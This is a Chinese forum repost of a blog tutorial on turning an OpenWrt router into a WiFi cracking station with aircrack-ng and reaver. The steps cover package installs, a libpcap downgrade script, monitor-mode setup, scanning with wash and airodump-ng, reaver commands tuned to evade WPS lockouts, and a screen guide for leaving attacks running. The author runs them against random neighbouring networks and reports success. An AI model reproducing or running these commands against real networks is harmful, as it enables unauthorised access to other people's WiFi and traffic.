數位天堂

Nokia:科技始終來自於人性; 拜耳:如果文明不能使我們更相愛,那科技便失去意義!
歡迎您的加入,讓我們一起討論科技與環保的整合應用...

您尚未登入。

#1 2017-10-20 18:12:09

zhengguowang132
新生
註冊日期: 2017-10-16
文章數: 10
目前積分 :   

openwrt 破解WIFI

文章出自   https://03k.org/openwrt-reaver.html

熟悉pin破解的同学应该知道reaver是个好东西,然而开着电脑跑reaver既不环保又不节能,关键没有可用的usb网卡的时候就比较蛋疼。但路由就有一堆,所以琢磨着在路由上跑reaver试试。

由于自己的固件私货太多,把opkg都去掉了,所以就去openwrt官方下一个标准的固件,我这里以ar9331为例。下了个最新的cc版本固件连luci都没有的……

因为要在线联网安装软件……所以就要想办法联网……例如这样

连接外网_cr

不要吐槽我房子杂乱的布线……

首先当然是更新软件包列表……
C++
opkg update
1
   
opkg update

如果软件包下载失败请自行扶墙……我的上级路由是拆过墙的……

先把管理界面装了
C++
opkg install luci
1
   
opkg install luci

安装成功应该和我一样:

安装luci



嗯……改密码开wifi什么的就不说了……

然后安装这几个包(一个个装,不要急)
C++
opkg install aircrack-ng
1
   
opkg install aircrack-ng

C++
opkg install screen
1
   
opkg install screen

然后发现我们的主角reaver竟然没有在线安装,其实之前是有的,后来自从bb版本就去掉了,估计是这玩意传播影响不太好?不过我们还是可以在aa版本或者bb版本的oldpackage里面找到下载链接(这里以ar971xx为例,其他的自己可以翻翻http://downloads.openwrt.org):
C++
http://downloads.openwrt.org/barrier_br … ar71xx.ipk
1
   
http://downloads.openwrt.org/barrier_br … ar71xx.ipk


C++
http://downloads.openwrt.org/attitude_a … ar71xx.ipk
1
   
http://downloads.openwrt.org/attitude_a … ar71xx.ipk

于是我们使用以下命令下载安装:
C++
opkg install http://downloads.openwrt.org/barrier_br … ar71xx.ipk
1
   
opkg install http://downloads.openwrt.org/barrier_br … ar71xx.ipk

成功安装应该和我一样:

reaverinstall

然后接下来就是常规的reaver使用教程了~

首先查看可用无线网卡
C++
airmon-ng
1
   
airmon-ng

airmon-ng

嗯,我这里是wlan0。然后启用wlan0的监控模式:
C++
airmon-ng start wlan0
1
   
airmon-ng start wlan0

mon0

看起来成功挂载在mon0上了。接下来我们扫描下附近都有些什么wifi……
C++
airodump-ng mon0
1
   
airodump-ng mon0

扫描的wifi信号

嗯……这附近的信号真是多_(:3」∠)_(按Ctrl+C中止扫描)

然后我们尝试用wash命令看看哪些wifi支持pin破解:
C++
wash -i mon0 -C
1
   
wash -i mon0 -C

wash-nossid

然后瞬间逗逼了,什么都没有!能扫描出这么多信号首先说明路由器网卡是工作正常的,难道我周围一个wifi都不支持wps吗??现在wifi都这么先进了卧槽?

我不信,于是我拿起了我的手机(刷的miui系统,我的手机支持5G和2.4G)来扫描下:

可使用wps

看到红圈的地方没,支持WPS!也就是说,我周围支持pin破解的wifi不少!MIUI系统的wifi列表真是太人性化了_(:3」∠)_

既然是支持的为啥扫描不出来呢?我再随便找了个支持的wifi来尝试运行reaver破解:

尝试使用reaver随便pin一个wifi

真是日了狗了,一堆FAIL是什么情况……(按Ctrl+C中止)

后来想想可能是库文件的问题毕竟reaver是基于aa版本的openwrt生成的,使用太新的库可能会不正常。经过一番探索,发现是libpcap搞的鬼,把他换回aa版本的1.1.1就好了。附上下载链接:
C++
http://downloads.openwrt.org/attitude_a … ar71xx.ipk
1
   
http://downloads.openwrt.org/attitude_a … ar71xx.ipk

下载之后把ipk后缀改成tar.gz就可以解压出来提取库文件去上传替换新版本的libpcap了。当然也可以执行我这个精心构造的命令脚本:
C++
mkdir -p /tmp/libpcap
wget -t9 -T5 http://downloads.openwrt.org/attitude_a … ar71xx.ipk -O /tmp/libpcap/lib.tar.gz
tar -xzvf /tmp/libpcap/lib.tar.gz -C /tmp/libpcap
tar -xzvf /tmp/libpcap/data.tar.gz -C /tmp/libpcap
rm -rf /usr/lib/libpcap.so*
cp /tmp/libpcap/usr/lib/libpcap.so.1.1.1 /usr/lib/libpcap.so.1.3.0
ln -s /usr/lib/libpcap.so.1.3.0 /usr/lib/libpcap.so.1.3
ln -s /usr/lib/libpcap.so.1.3.0 /usr/lib/libpcap.so
1
2
3
4
5
6
7
8
   
mkdir -p /tmp/libpcap
wget -t9 -T5 http://downloads.openwrt.org/attitude_a … ar71xx.ipk -O /tmp/libpcap/lib.tar.gz
tar -xzvf /tmp/libpcap/lib.tar.gz -C /tmp/libpcap
tar -xzvf /tmp/libpcap/data.tar.gz -C /tmp/libpcap
rm -rf /usr/lib/libpcap.so*
cp /tmp/libpcap/usr/lib/libpcap.so.1.1.1 /usr/lib/libpcap.so.1.3.0
ln -s /usr/lib/libpcap.so.1.3.0 /usr/lib/libpcap.so.1.3
ln -s /usr/lib/libpcap.so.1.3.0 /usr/lib/libpcap.so

好了,现在我们再来用wash命令尝试扫描下支持pin破解的wifi:
C++
wash -i mon0 -C
1
   
wash -i mon0 -C

wash成功了

卧槽看到没,一堆一堆的……

然后我们再随便找个wifi来用reaver尝试pin一下……

reaver测试很好!成功了!!!pin工作很正常!

接下来就是reaver的一些命令的使用方法了,有兴趣可以往下看~
Usage原文:

    Reaver v1.4 WiFi Protected Setup Attack Tool
    Copyright (c) 2011, Tactical Network Solutions, Craig Heffner

    Required Arguments:
    -i, –interface= Name of the monitor-mode interface to use
    -b, –bssid= BSSID of the target AP

    Optional Arguments:
    -m, –mac= MAC of the host system
    -e, –essid= ESSID of the target AP
    -c, –channel= Set the 802.11 channel for the interface (implies -f)
    -o, –out-file= Send output to a log file [stdout]
    -s, –session= Restore a previous session file
    -C, –exec= Execute the supplied command upon successful pin recovery
    -D, –daemonize Daemonize reaver
    -a, –auto Auto detect the best advanced options for the target AP
    -f, –fixed Disable channel hopping
    -5, –5ghz Use 5GHz 802.11 channels
    -v, –verbose Display non-critical warnings (-vv for more)
    -q, –quiet Only display critical messages
    -h, –help Show help

    Advanced Options:
    -p, –pin= Use the specified 4 or 8 digit WPS pin
    -d, –delay= Set the delay between pin attempts [1]
    -l, –lock-delay= Set the time to wait if the AP locks WPS pin attempts [60]
    -g, –max-attempts= Quit after num pin attempts
    -x, –fail-wait= Set the time to sleep after 10 unexpected failures [0]
    -r, –recurring-delay= Sleep for y seconds every x pin attempts
    -t, –timeout= Set the receive timeout period [5]
    -T, –m57-timeout= Set the M5/M7 timeout period [0.20]
    -A, –no-associate Do not associate with the AP (association must be done by another application)
    -N, –no-nacks Do not send NACK messages when out of order packets are received
    -S, –dh-small Use small DH keys to improve crack speed
    -L, –ignore-locks Ignore locked state reported by the target AP
    -E, –eap-terminate Terminate each WPS session with an EAP FAIL packet
    -n, –nack Target AP always sends a NACK [Auto]
    -w, –win7 Mimic a Windows 7 registrar [False]

    Example:
    reaver -i mon0 -b 00:90:4C:C1:AC:21 -vv


参数详解(原创):

C++
必须参数:
-i 监控接口,例如-i mon0
-b 无线AP的MAC,例如-b 00:90:4C:C1:AC:21
1
2
3
   
必须参数:
-i 监控接口,例如-i mon0
-b 无线AP的MAC,例如-b 00:90:4C:C1:AC:21

C++
可选参数:
-m [mac]本机的MAC
-e [ssid]指定目标AP的SSID(wifi名字)
-f 锁定频道
-c [1-14]指定目标AP的信道(意味着-f),如果不指定会逐个信道去尝试
-o [file]输出日志文件到某处
-s [file]保存/恢复进度
-C [command]在恢复进度前执行某个命令
-D 开启守护进程后台运行
-a 自动优化目标AP的参数
-v 显示详细信息
-vv 显示更详细的信息。一般-v够用,-vv信息太多刷屏了
1
2
3
4
5
6
7
8
9
10
11
12
   
可选参数:
-m [mac]本机的MAC
-e [ssid]指定目标AP的SSID(wifi名字)
-f 锁定频道
-c [1-14]指定目标AP的信道(意味着-f),如果不指定会逐个信道去尝试
-o [file]输出日志文件到某处
-s [file]保存/恢复进度
-C [command]在恢复进度前执行某个命令
-D 开启守护进程后台运行
-a 自动优化目标AP的参数
-v 显示详细信息
-vv 显示更详细的信息。一般-v够用,-vv信息太多刷屏了

C++
高级选项:
==常用高级选项==
-p [pin]这个选项很有用,当我们知道前四位或者全八位pin的时候,我们就可以用这个参数去加速/验证密码
-S 使用最小的DH keys提高破解速度
-l [n]如果目标路由器被锁死lock的话,等待[n]秒之后再继续。不加参数默认为秒。
-d [n]在每次pin之间设置延迟n秒。有些路由pin太频繁的话会锁死,所以这个选项有时候还是很有用的。不加参数默认为[1]秒
-x [n]在连续尝试同一个pin失败10次的时候,等待多少秒之后才重新继续

==其他高级选项==
-w 模仿Win7的设备进行连接,默认关闭
-g [n]最多尝试n次pin之后就退出程序。
-r [x:y]每进行x个pin之后暂停y秒
-t [n]设置接收超时时间,默认为5秒
-T [n]设置M5 / M7的超时时间,默认为0.2秒
-A 不连接路由器,由第三方程序来完成
-L 忽略目标路由器被锁死
-E 每当收到EAP FAIL包的时候终结WPS会话
-N 当接收了额外的数据包的时候不要发送NACK信息,如果一直pin不动,尝试加-N参数。
-n 目标路由器一直发送NACK包(自动)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
   
高级选项:
==常用高级选项==
-p [pin]这个选项很有用,当我们知道前四位或者全八位pin的时候,我们就可以用这个参数去加速/验证密码
-S 使用最小的DH keys提高破解速度
-l [n]如果目标路由器被锁死lock的话,等待[n]秒之后再继续。不加参数默认为秒。
-d [n]在每次pin之间设置延迟n秒。有些路由pin太频繁的话会锁死,所以这个选项有时候还是很有用的。不加参数默认为[1]秒
-x [n]在连续尝试同一个pin失败10次的时候,等待多少秒之后才重新继续

==其他高级选项==
-w 模仿Win7的设备进行连接,默认关闭
-g [n]最多尝试n次pin之后就退出程序。
-r [x:y]每进行x个pin之后暂停y秒
-t [n]设置接收超时时间,默认为5秒
-T [n]设置M5 / M7的超时时间,默认为0.2秒
-A 不连接路由器,由第三方程序来完成
-L 忽略目标路由器被锁死
-E 每当收到EAP FAIL包的时候终结WPS会话
-N 当接收了额外的数据包的时候不要发送NACK信息,如果一直pin不动,尝试加-N参数。
-n 目标路由器一直发送NACK包(自动)

使用实例

假设目标路由MAC是00:90:4C:C1:AC:21,信道为6,名字为TPLINK-0A9F,监控接口是mon0

普通用法
C++
reaver -i mon0 -a -S -v -b 00:90:4C:C1:AC:21
1
   
reaver -i mon0 -a -S -v -b 00:90:4C:C1:AC:21


C++
reaver -i mon0 -c 6 -e TPLINK-0A9F -S -v -b 00:90:4C:C1:AC:21
1
   
reaver -i mon0 -c 6 -e TPLINK-0A9F -S -v -b 00:90:4C:C1:AC:21

推荐用法:
C++
reaver -i mon0 -a -v -S -x 20 -r 100:10 -l 300 -b 00:90:4C:C1:AC:21
1
   
reaver -i mon0 -a -v -S -x 20 -r 100:10 -l 300 -b 00:90:4C:C1:AC:21



当信号好到爆表的时候,加个不延迟参数:
C++
-d 0
1
   
-d 0

信号非常好的时候,只要0.5延迟:
C++
-d 0.5 -t 0.5
1
   
-d 0.5 -t 0.5

信号很差的时候……
C++
-d 2 -t 2 -N
1
   
-d 2 -t 2 -N

关于进度保存位置,1.3版本的reaver默认保存在/etc/reaver/[目标路由MAC].wpc

1.4版本(路由装的是1.4)默认保存在/usr/local/etc/reaver/[目标路由MAC].wpc。

经过我实测,路由装ipk的版本的保存位置是你运行命令的目录(如果你没有用参数去指定的话),一般是/root/,下面有很多wpc文件。/etc/reaver有个reaver.db文件,应该与进度无关。


总结
一、网卡监控模式挂载

首先查看可用无线网卡,一般路由器自带的就是wlan0

使用内置网卡的话要把wlan0停掉
C++
ifconfig wlan0 down
1
   
ifconfig wlan0 down

C++
airmon-ng
1
   
airmon-ng

airmon-ng

然后是挂载网卡为监控模式,
C++
airmon-ng start wlan0
1
   
airmon-ng start wlan0



mon0
二、关于信号的选择

1 先用wash命令列出可进行pin的AP列表
C++
wash -i mon0 -C
1
   
wash -i mon0 -C

注意,wash出来的信号不一定是支持wps的,用电脑或者手机查看是最准确的。

wash成功了

2用手机查看哪个wifi信号比较强并且可以进行wps的(如果自带的wifi列表不方便查看的话可以下载一个叫 wifi分析仪 的软件)

可使用wps



wifi分析仪

3如果没有手机的话可以使用命令
C++
airodump-ng mon0
1
   
airodump-ng mon0



扫描的wifi信号

查看那个信号比较好(信号是负数,表示越接近,-60比-80信号好,一般超过-80是很难连上的了,普通信号-60到-70是极限了,-60到-50是一般的信号,-30到-40是不错的信号)

三、关于Screen命令的使用

screen命令的作用是你离开ssh之后,可以关闭电脑,在后台开一个screen,这样在你下次登入ssh的时候恢复一下screen就可以看到离开前的进度了。

实例:
C++
创建一个screen
screen
1
2
   
创建一个screen
screen

然后在screen里面随便做点什么:

screen做点什么

嗯,然后这时我想去逛个街把电脑先关了,那么我可以按下Ctrl+A+D来暂时退出这个Screen会话:

screen退出

可以看到退出的时候提供了这个screen的id:17067

好了,我现在逛完街回来了,打开电脑连接ssh路由,然后键入
C++
screen -r 17067
1
   
screen -r 17067

然后就回到我们原来的screen会话啦~!

screen恢复

如果你想退出当前screen可以输入exit,当然screen还有很多组合键可以使用,这里提供个列表:
Ctrl+a+?    显示所有键绑定信息
Ctrl+a w    显示所有窗口列表
Ctrl+a+C-a    切换到之前显示的窗口
Ctrl+a+c    创建一个新的运行shell的窗口并切换到该窗口
Ctrl+a+n    切换到下一个窗口
Ctrl+a+p    切换到前一个窗口(与C-a n相对)
Ctrl+a+0..9    切换到窗口0..9
Ctrl+a+a    发送 C-a到当前窗口
Ctrl+a+d    暂时断开screen会话
Ctrl+a+k    杀掉当前窗口
Ctrl+a+[    进入拷贝/回滚模式




離線

 

相關討論主題

主題 回覆 點閱 最後發表
ASUS N16 OpenWRT 刷番茄失敗 -- HELP 作者 magicfuh  [ 1 2 ]
11 33366 2017-01-15 08:56:27 作者 bug2000
1 15928 2012-12-07 15:35:22 作者 changeway
2 17433 2012-11-01 09:30:35 作者 changeway
2 13973 2012-08-15 23:58:48 作者 Aven
3 19236 2012-04-16 20:57:08 作者 peter2913

友情連結

論壇頁尾

Powered by PunBB
© Copyright 2018 Rickard Andersson
RSS Feed